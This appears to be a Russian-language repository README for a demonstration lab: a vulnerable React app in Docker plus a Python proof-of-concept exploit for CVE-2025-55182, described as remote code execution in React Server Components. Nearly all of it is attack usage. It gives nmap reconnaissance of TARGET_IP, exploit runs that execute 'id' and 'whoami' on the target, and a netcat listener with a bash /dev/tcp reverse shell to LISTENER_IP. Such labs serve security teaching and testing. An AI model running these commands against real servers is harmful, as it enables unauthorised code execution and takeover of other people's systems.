ps-interactive/cve-2025-55182Уязвимое REACT-приложение в Docker-контейнере и код PoC - для демонстраций
CLI эксплойт на Python для CVE-2025-55182, критической уязвимости RCE в React Server Components через react-server-dom-webpack.
Основано на: ejpir/CVE-2025-55182-poc
docker build -t cve-2025-55182:lab .
docker run -d -p 3000:3000 --name cve-2025-55182-vuln cve-2025-55182:lab
nmap --script http-title -p 3000 TARGET_IP
nmap --script http-headers -p 3000 TARGET_IP
## Check for vulnerability
python3 poc.py --ip TARGET_IP --port 3000 --post-endpoint "/formaction" --check
# Recon
python3 poc.py --ip TARGET_IP --port 3000 --post-endpoint "/formaction" --cmd "id"
python3 poc.py --ip TARGET_IP --port 3000 --post-endpoint "/formaction" --cmd "whoami" --no-ssl-verify
# Reverse shell
nc -nlvp 4444
python3 poc.py --ip TARGET_IP --port 3000 --cmd 'bash -c '\''bash -i >& /dev/tcp/LISTENER_IP/4444 0>&1'\'''